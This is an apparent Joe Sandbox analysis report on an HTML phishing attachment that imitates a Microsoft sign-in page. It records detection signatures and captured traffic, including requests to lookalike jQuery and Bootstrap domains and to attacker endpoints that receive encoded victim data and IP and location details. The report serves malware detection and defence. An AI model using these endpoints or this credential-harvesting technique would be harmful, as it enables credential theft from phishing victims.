Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
November Draw Disbursed.html

Overview

General Information

Sample Name:November Draw Disbursed.html
Analysis ID:756194
MD5:b0d7ab3033db28748d1146d9113eb4d0
SHA1:8713ce26b53981ca8a02f943220970437edca585
SHA256:10f511546453d5867e65f35914fd43703d7f786e5b7bdfdd0fb6e1bf3c065317
Infos:

Detection

HTMLPhisher
Score:56
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected HtmlPhish10
Snort IDS alert for network traffic
JA3 SSL client fingerprint seen in connection with other malware
Invalid 'forgot password' link found
HTML body contains low number of good links
Invalid T&C link found
IP address seen in connection with other malware
None HTTPS page querying sensitive user data (password, username or email)
No HTML title found

Classification

Process Tree

  • System is w10x64
  • chrome.exe (PID: 5904 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank MD5: 0FEC2748F363150DC54C1CAFFB1A9408)
    • chrome.exe (PID: 6004 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1828,i,10391032402710344752,2792419310114974632,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)
  • chrome.exe (PID: 5212 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\November Draw Disbursed.html MD5: 0FEC2748F363150DC54C1CAFFB1A9408)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

HTML

SourceRuleDescriptionAuthorStrings
96596.0.pages.csvJoeSecurity_HtmlPhish_10Yara detected HtmlPhish_10Joe Security

    Sigma Signatures

    ⊘No Sigma rule has matched

    Snort Signatures

    Timestamp:192.168.2.38.8.8.859636532027758 11/29/22-19:43:01.359643
    SID:2027758
    Source Port:59636
    Destination Port:53
    Protocol:UDP
    Classtype:Potentially Bad Traffic
    Timestamp:192.168.2.38.8.8.860767532027758 11/29/22-19:43:05.093728
    SID:2027758
    Source Port:60767
    Destination Port:53
    Protocol:UDP
    Classtype:Potentially Bad Traffic

    Joe Sandbox Signatures

    Click to jump to signature section

    Show All Signature Results

    Phishing

    barindex
    Yara detected HtmlPhish10
    Source: Yara matchFile source: 96596.0.pages.csv, type: HTML
    Source: file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.htmlHTTP Parser: Invalid link: Forgot my password
    Source: file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.htmlHTTP Parser: Invalid link: Forgot my password
    Source: file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.htmlHTTP Parser: Number of links: 1
    Source: file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.htmlHTTP Parser: Number of links: 1
    Source: file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.htmlHTTP Parser: Invalid link: Terms of use
    Source: file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.htmlHTTP Parser: Invalid link: Privacy & cookies
    Source: file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.htmlHTTP Parser: Invalid link: Terms of use
    Source: file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.htmlHTTP Parser: Invalid link: Privacy & cookies
    Source: file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.htmlHTTP Parser: Has password / email / username input fields
    Source: file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.htmlHTTP Parser: Has password / email / username input fields
    Source: file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.htmlHTTP Parser: HTML title missing
    Source: file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.htmlHTTP Parser: HTML title missing
    Source: file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.htmlHTTP Parser: No <meta name="author".. found
    Source: file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.htmlHTTP Parser: No <meta name="author".. found
    Source: file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.htmlHTTP Parser: No <meta name="copyright".. found
    Source: file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.htmlHTTP Parser: No <meta name="copyright".. found
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\Google\GoogleUpdaterJump to behavior
    Source: unknownHTTPS traffic detected: 162.19.88.69:443 -> 192.168.2.3:49721 version: TLS 1.2

    Networking

    barindex
    Snort IDS alert for network traffic
    Source: TrafficSnort IDS: 2027758 ET DNS Query for .cc TLD 192.168.2.3:59636 -> 8.8.8.8:53
    Source: TrafficSnort IDS: 2027758 ET DNS Query for .cc TLD 192.168.2.3:60767 -> 8.8.8.8:53
    Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
    Source: Joe Sandbox ViewIP Address: 162.19.88.69 162.19.88.69
    Source: Joe Sandbox ViewIP Address: 104.21.40.223 104.21.40.223
    Source: unknownDNS traffic detected: queries for: clients2.google.com
    Source: unknownNetwork traffic detected: HTTP traffic on port 49708 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49743
    Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49781 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49769 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49738
    Source: unknownNetwork traffic detected: HTTP traffic on port 49717 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49772 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49733
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49732
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49699
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49698
    Source: unknownNetwork traffic detected: HTTP traffic on port 49732 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49697
    Source: unknownNetwork traffic detected: HTTP traffic on port 49711 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49703 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49749 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49763 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49700 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49777 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
    Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49697 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49760 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49719
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49717
    Source: unknownNetwork traffic detected: HTTP traffic on port 49715 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49715
    Source: unknownNetwork traffic detected: HTTP traffic on port 49774 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49711
    Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49709 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49765 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49768 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49709
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49708
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49705
    Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49703
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49702
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49701
    Source: unknownNetwork traffic detected: HTTP traffic on port 49771 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49700
    Source: unknownNetwork traffic detected: HTTP traffic on port 49699 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49783
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49781
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49780
    Source: unknownNetwork traffic detected: HTTP traffic on port 49762 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49701 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49776 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49778
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49777
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49776
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49775
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49774
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49773
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49772
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49771
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49770
    Source: unknownNetwork traffic detected: HTTP traffic on port 49767 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49780 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49773 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49769
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49768
    Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49767
    Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49765
    Source: unknownNetwork traffic detected: HTTP traffic on port 49783 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49763
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49761
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
    Source: unknownNetwork traffic detected: HTTP traffic on port 49702 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49770 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49719 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
    Source: unknownNetwork traffic detected: HTTP traffic on port 49778 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
    Source: unknownNetwork traffic detected: HTTP traffic on port 49738 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49755
    Source: unknownNetwork traffic detected: HTTP traffic on port 49698 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49754
    Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49761 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49775 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49749
    Source: global trafficHTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-104.0.5112.81Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /wp/b1.js HTTP/1.1Host: descansonline.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /jquery-3.5.2.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.restConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /jquery-3.5.2.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.cloudConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /jquery-3.5.2.min.js HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /jquery-3.5.2.min.js HTTP/1.1Host: code.jquery.questConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /jSY8DXQL/back.jpg HTTP/1.1Host: i.postimg.ccConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /jSY8DXQL/back.jpg HTTP/1.1Host: i.postimg.ccConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /tkv/index.php?dt=QCPsVcn7rgD1hKIR25CTCLE0O HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /ip.php HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /ndata/index.php?dt=dmvpublicaffairs@dmv.ca.gov HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: application/json, text/javascript, */*; q=0.01sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /jSY8DXQL/back.jpg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: i.postimg.cc
    Source: global trafficHTTP traffic detected: GET /post/index.php?title=Sign%20in%20to%20your%20account&link=file:///C:/Users/user/Desktop/November%20Draw%20Disbursed.html&time=2022-11-29%2019:43:4&ip=102.129.143.49%20:%20Switzerland HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /dmv.ca.gov HTTP/1.1Host: logo.clearbit.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /dbd5a2dd-us0mikl89yxon-sgdcnggg1-x8-vglc85xxjmtn1cza/logintenantbranding/0/bannerlogo?ts=637227555210461681 HTTP/1.1Host: aadcdn.msftauthimages.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /jSY8DXQL/back.jpg HTTP/1.1Host: i.postimg.ccConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /jSY8DXQL/back.jpg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: i.postimg.cc
    Source: global trafficHTTP traffic detected: GET /jSY8DXQL/back.jpg HTTP/1.1Host: i.postimg.ccConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /catch/index.php?dt=1312,5084,1312,2009,1968,2050,1886,2009,2050,2337,1886,2009,2132,2091,1886,2132,2337,1312,2378,1312,3403,4879,4305,4756,5002,4141,4674,4428,3977,4510,4100,1312,2501,2501,2542,1312,1640,1312,3403,4305,4223,4510,1312,4305,4510,1312,4756,4551,1312,4961,4551,4797,4674,1312,3977,4059,4059,4551,4797,4510,4756,1312,1681,1312,2378,1804,4100,4469,4838,4592,4797,4018,4428,4305,4059,3977,4182,4182,3977,4305,4674,4715,2624,4100,4469,4838,1886,4059,3977,1886,4223,4551,4838,1804,3403,4305,4223,4510,1312,4305,4510,1804,4756,4674,4797,4141,1804,3403,4305,4223,4510,1312,2993,4510,410 HTTP/1.1Host: code.jquery.com.deConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: */*sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
